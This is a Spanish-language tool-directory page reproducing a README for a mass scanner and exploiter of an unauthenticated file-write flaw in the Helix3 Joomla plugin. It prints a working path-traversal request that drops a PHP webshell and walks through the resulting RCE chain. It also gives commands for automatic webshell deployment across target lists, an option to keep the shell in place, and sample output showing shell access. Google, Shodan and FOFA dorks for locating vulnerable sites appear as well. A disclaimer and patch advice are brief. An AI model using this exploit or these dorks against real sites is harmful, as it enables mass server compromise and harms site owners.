Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49049 — CVE-2026-49049 Helix3 (JoomShaper) Escáner de RCE AJAX no autenticado para Joomla | Kitploit
Herramientas/GitHubGitHub/exdev994/cve-2026-49049
ReconocimientoEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Helix3 (JoomShaper) Escáner de RCE AJAX no autenticado para Joomla

Ver Repositorio
19hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-49049 — Helix3 (JoomShaper) Joomla Escáner RCE no autenticado vía AJAX

CVE CVSS Python License Author

Escáner / verificador masivo para CVE-2026-49049: manejador AJAX no autenticado en el plugin Helix3 Framework para Joomla (v1.0 – 3.1.0, parcheado en 3.1.1+).

Solo pruebas autorizadas. Úselo únicamente en sistemas que posea o para los que tenga permiso por escrito.


Tabla de contenidos

  • Resumen de la vulnerabilidad
  • Cadena RCE
  • Instalación
  • Cómo usar (Uso)
  • Ejemplo de salida
  • Dorks de reconocimiento
  • Cómo reparar (Remediación)
  • Estructura del proyecto
  • Contribuciones
  • Referencias
  • Descargo

Resumen de la vulnerabilidad

El manejador onAjaxHelix3() en plugins/ajax/helix3/helix3.php es accesible a través de com_ajax de Joomla sin autenticación / token CSRF:

POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
AcciónImpactoVersiones
saveEscritura arbitraria de archivo JSON + path traversal1.0 – 3.1.0
removeEliminación arbitraria de archivos (sin restricción de extensión/ruta)1.0 – 3.1.0
importSobrescribe parámetros de plantilla en BD (custom_js sin escapar → XSS/deface)solo v3.x
Versión Helix3save / removeimportEstado
1.0 – 2.xVulnerableNo presenteVulnerable
3.0 – 3.1.0VulnerableVulnerableVulnerable
3.1.1+ParcheadoParcheadoSeguro

Cadena RCE

La explotación masiva activa en la naturaleza a menudo suelta un webshell de doble extensión:

  1. Detectar Helix3 + versión < 3.1.1
  2. save con layoutName=../../up.php + contenido PHP webshell
  3. El guardado agrega .json → up.php.json cae en la raíz web
  4. AddHandler de Apache con multi-extensión ejecuta el token .php
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
Detectar Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json escrito
    → GET up.php.json?cmd=id
    → uid=33(www-data)

Instalación

git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Requisitos: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


Cómo usar (Uso)

1. Preparar el objetivo

Edite targets.txt — una URL / host por línea (# = comentario). La ruta de Joomla se conserva:

# ejemplo
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Escaneo solo lectura (solo detección)

No suelta webshell. Verifica versión + prueba save / remove / import:

python3 scan.py -f targets.txt --scan -o results.txt

3. Automático: detectar + soltar webshell + verificar RCE

python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Objetivo único

python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. Opciones avanzadas

# Mantener webshell después de verificar (demo autorizado)
python3 scan.py -f targets.txt --auto --keep

# Nombre de webshell personalizado + profundidades de traversal
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# Reporte JSON + concurrencia
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

Flags importantes

FlagDescripción
-f / --fileArchivo con lista de objetivos (por defecto: targets.txt si -t ausente)
-t / --targetURL de un solo objetivo
--scanDetección solo lectura
--autoDetectar + verificar RCE (por defecto)
-c / --cmdComando de verificación (por defecto: id)
-o / --outputArchivo de resultados — solo objetivos VULN / SHELL_OK
--jsonReporte JSON estructurado
--keepNo eliminar webshell automáticamente después de verificar
--threadsTrabajadores concurrentes (por defecto: 15)
--timeoutTiempo de espera HTTP en segundos (por defecto: 15)

Advertencia: El modo --auto intenta escribir un webshell mediante path traversal. Por defecto, el webshell se elimina después de la verificación. Use --keep solo para demos autorizadas.


Ejemplo de salida

Terminal muestra todos los estados (progreso). results.txt solo contiene los vulnerables:

[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (sin shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Otras etiquetas (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) solo aparecen en terminal, no en results.txt.


Dorks de reconocimiento

Use los siguientes dorks para encontrar activos Helix3 / Joomla potencialmente afectados. Solo escanee objetivos autorizados.

Google

inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Huella manual (después de obtener el host)

# Verificar versión
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Prueba de save sin autenticación (solo autorizado)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Cómo reparar (Remediación)

1. Parchear de inmediato (obligatorio)

Actualice el plugin System – Helix3 Framework y Helix3 – Ajax a 3.1.1 o superior (se recomienda 3.1.2).

  • Backend de Joomla → Sistema → Actualizar / Extensiones
  • O descargue el paquete oficial de JoomShaper e instálelo manualmente

2. Si ya fue comprometido / defaceado

Actualizar no limpia los payloads que ya están en la base de datos.

Descargar herramienta